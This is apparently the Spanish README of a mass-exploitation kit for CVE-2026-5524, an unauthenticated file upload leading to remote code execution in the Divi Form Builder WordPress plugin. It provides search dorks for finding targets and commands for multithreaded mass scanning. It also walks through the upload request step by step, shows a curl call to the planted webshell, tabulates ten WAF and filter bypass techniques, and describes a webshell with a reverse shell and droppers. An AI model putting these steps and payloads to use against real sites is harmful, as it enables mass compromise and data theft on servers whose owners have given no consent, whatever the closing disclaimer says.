
Kit de explotación masiva para CVE-2026-5524, una subida de archivos no autenticada que permite ejecución remota de código (RCE) en Divi Form Builder. Incluye escaneo multihilo, técnicas de evasión de WAF, despliegue personalizado de webshell y ejecución interactiva de comandos.
| Campo | Valor |
|---|
| CVE | 2026-5524 |
| CVSS | 9.8 (Crítico) |
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Afectado | Divi Form Builder <= 5.1.8 |
| Parcheado | 5.1.9 |
| Tipo | Carga de archivos no autenticada a RCE |
| Investigador | 0xd4rk5id3 - EnvoraSec |
El plugin Divi Form Builder para WordPress contiene una vulnerabilidad de carga arbitraria de archivos no autenticada. El manejador do_image_upload() pasa el parámetro POST acceptFileTypes controlado por el usuario directamente a una expresión regular utilizada para validar las extensiones de archivo. Al proporcionar un valor como phtml, un atacante puede omitir la regla .htaccess del plugin que solo bloquea la extensión .php y cargar una webshell con una extensión ejecutable por PHP (.phtml, .phar, .php5, .php7 y similares).
Una vez que el archivo llega a /wp-content/uploads/de_fb_uploads/, Apache lo ejecuta como PHP, otorgando al atacante ejecución remota de código como el usuario del servidor web.
El problema se soluciona en Divi Form Builder 5.1.9.
body="de_fb_obj" && body="fb_nonce"
http.html:"de_fb_obj" http.html:"fb_nonce"
inurl:"/wp-content/plugins/divi-form-builder/"
app:"WordPress" && body:"de_fb_obj"
services.http.response.body: "de_fb_obj"
Requisitos: Python 3.8 o superior en Linux, macOS o WSL.
git clone https://github.com/caterscam/CVE-2026-5524-PoC/
cd CVE-2026-5524-PoC
pip3 install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
python3 CVE-2026-5524.py -u https://target.com
python3 CVE-2026-5524.py -l targets.txt --shell-file bypass.phtml --aggressive --no-verify -o pwned.jsonl -t 20
Para objetivos detrás de un WAF (NinjaFirewall, Wordfence, ModSecurity) o con configuración endurecida de Apache o nginx.
python3 CVE-2026-5524.py -u https://target.com --shell-file bypass.phtml --aggressive --no-verify --debug
Tras una carga exitosa, el script puede ejecutar inmediatamente un comando o abrir un shell interactivo.
python3 CVE-2026-5524.py -u https://target.com --cmd "id; uname -a; cat /etc/passwd"
python3 CVE-2026-5524.py -u https://target.com --shell
| Bandera | Descripción |
|---|---|
-u URL | URL de un solo objetivo |
-l FILE | Archivo con lista de objetivos, una URL por línea |
-t N | Número de hilos concurrentes (por defecto 10) |
--timeout N | Tiempo de espera de solicitud en segundos (por defecto 15) |
-o FILE | Guardar resultados en archivo de salida JSONL |
--proxy URL | Enrutar tráfico a través de proxy HTTP |
--nonce HASH | Usar un nonce proporcionado manualmente, omitir la detección automática |
--ext EXT | Forzar una sola extensión en lugar de la lista completa de bypass |
--shell | Abrir un shell RCE interactivo al tener éxito (solo objetivo único) |
--cmd CMD | Ejecutar un comando en el objetivo y luego salir |
--shell-file FILE | Cargar un payload de shell personalizado en lugar del incorporado |
--no-verify | Omitir el paso de verificación de RCE posterior a la carga |
--strict-verify | Confirmar que la URL del shell devuelve HTTP 200 para filtrar falsos positivos |
--user-ini | Cargar un dropper .user.ini para entornos PHP-FPM |
--htaccess | Cargar un re-habilitador .htaccess para entornos Apache |
--aggressive | Habilitar todas las técnicas de bypass disponibles |
--null-byte | Incluir intentos de byte nulo y doble extensión |
--path-traversal | Intentar cargar en subdirectorios /uploads/YYYY/MM/ |
--debug | Imprimir respuestas HTTP sin procesar para diagnóstico |
El manejador vulnerable construye una expresión regular a partir de la entrada del usuario sin sanitización.
public function do_image_upload() {
$accepted = $_POST['acceptFileTypes'];
$pattern = '/\\.(' . $accepted . ')$/i';
if (preg_match($pattern, $filename)) {
move_uploaded_file($tmp, $dest);
}
}
Al enviar acceptFileTypes=phtml, la expresión regular resultante /\.(phtml)$/i coincide con nombres de archivo que terminan en .phtml, aunque el archivo .htaccess propio del plugin solo bloquea la extensión .php. Apache entonces ejecuta el archivo cargado como PHP, produciendo ejecución remota de código.
Rastrear una página que incruste un formulario de Divi Form Builder (/, /contact, /quote, etc.). Agregar un parámetro ?nocache=<random> para evitar Varnish, WP Rocket y otros cachés de página que de otra manera servirían un nonce obsoleto.
Extraer el valor fb_nonce del objeto JavaScript localizado:
de_fb_obj = {"fb_nonce":"<10 hex characters>", ...}
Enviar un formulario multipart a /wp-admin/admin-ajax.php con:
action=de_fb_image_upload
fb_nonce=<nonce>
acceptFileTypes=phtml
[email protected]
Leer la URL del archivo de la respuesta JSON:
{"files":[{"name":"abc123.phtml","url":"https://target/wp-content/uploads/de_fb_uploads/abc123.phtml",...}]}
Solicitar el shell con un comando codificado en base64:
curl "https://target/wp-content/uploads/de_fb_uploads/abc123.phtml?x=$(echo -n id | base64)"
| # | Técnica | Objetivos |
|---|---|---|
| 1 | Extensiones PHP alternativas .phtml, .phar, .php5, .php7, .php4, .pht, .shtml | Regla .htaccess del plugin que solo bloquea .php |
| 2 | Variación de mayúsculas .PHTML, .PHP5, .PhTmL | Firmas WAF sensibles a mayúsculas (NinjaFirewall) |
| 3 | Doble extensión .phtml.jpg, .php.jpg | Peculiaridades de negociación de contenido mod_mime de Apache |
| 4 | Byte nulo .php%00.jpg, .phtml%00.txt | Versiones antiguas de PHP (menores a 5.3.4) y ciertos analizadores |
| 5 | Espacio o punto final .php , .php. | Windows IIS y versiones antiguas de Apache |
| 6 | Suplantación de Content-Type application/octet-stream | WAFs que se basan en el encabezado Content-Type del multipart |
| 7 | Cargar un .htaccess real que rehabilite PHP para .gif, .png, .jpg, .txt, .html, etc. | Servidores Apache con AllowOverride All |
| 8 | Cargar un .user.ini con auto_prepend_file | Entornos PHP-FPM |
| 9 | Inyección de nombre de archivo mediante manipulación de límite multipart | Proxies y WAFs que reanalizan el cuerpo de la solicitud |
| 10 | Path traversal ../shell.phtml en el nombre de archivo | Restricciones de directorio del plugin |
El script intenta cada técnica en orden de prioridad y, cuando se establece --aggressive, intenta todas incluso después de que la primera carga reporte éxito.
| Componente | Tecnología |
|---|---|
| Lenguaje | Python 3.8+ |
| Cliente HTTP | requests |
| Manejo TLS | urllib3 en modo inseguro para certificados autofirmados |
| Concurrencia | concurrent.futures.ThreadPoolExecutor para escaneo masivo |
| Análisis | re para extracción de nonce, json para manejo de respuestas |
| Codificación | base64 para parámetro de comando de webshell |
| CLI | argparse con 19 banderas configurables |
| Componente | Tecnología |
|---|---|
| Lenguaje | PHP 7.0+ |
| Funciones de ejecución | system(), shell_exec(), proc_open(), passthru(), popen() |
| Frontend | Formulario HTML simple, sin framework JavaScript |
| Características | Explorador de archivos, ejecución de comandos, acceso a base de datos, reverse shell, autoinstalación de .htaccess y .user.ini |
| Tamaño | Aproximadamente 16 KB |
| Capas de bypass | Seis rutas de ejecución independientes más payloads codificados |
cve-2026-5524/
|-- CVE-2026-5524.py Script principal de explotación
|-- bypass.phtml 16 KB de webshell PHP multicapa
|-- htaccess_enable.phtml Dropper que escribe un .htaccess re-habilitador
|-- user_ini.phtml Dropper que escribe un .user.ini para PHP-FPM
|-- targets.txt Lista de objetivos de ejemplo
|-- pwned.jsonl Generado por la bandera -o durante escaneos masivos
|-- requirements.txt Dependencias de Python
`-- README.md Este documento
+--------------------------------------------------+
| 1. Reconocimiento |
| GET /?nocache=<random> |
| Extraer fb_nonce de de_fb_obj |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 2. Preparar exploit |
| POST /wp-admin/admin-ajax.php |
| action=de_fb_image_upload |
| acceptFileTypes=phtml |
| [email protected] |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 3. El servidor acepta y almacena el archivo |
| /uploads/de_fb_uploads/<random>.phtml |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 4. Ejecutar |
| GET shell.phtml?x=base64(command) |
| Ejecución remota de código lograda |
+--------------------------------------------------+
Esta herramienta se proporciona con fines educativos y para su uso durante pruebas de penetración autorizadas. Ejemplos de uso aceptable incluyen:
El uso no autorizado contra sistemas que no poseas o para los que no tengas permiso explícito por escrito para realizar pruebas es ilegal en prácticamente todas las jurisdicciones y está estrictamente prohibido. El autor no aprueba ni se responsabiliza por el mal uso de este código.
J'ai la permission et je suis autorisé à effectuer ce pentest. (Tengo permiso y estoy autorizado a realizar esta prueba de penetración.)
Las leyes de probable relevancia incluyen la UU ITE de Indonesia, la Ley de Fraude y Abuso Informático de Estados Unidos, el Convenio sobre Ciberdelincuencia de la Unión Europea y legislación equivalente en otros lugares. Ante la duda, obtén primero autorización por escrito.
Solo para uso educativo. Consulta la sección de descargo de responsabilidad para los términos completos de uso.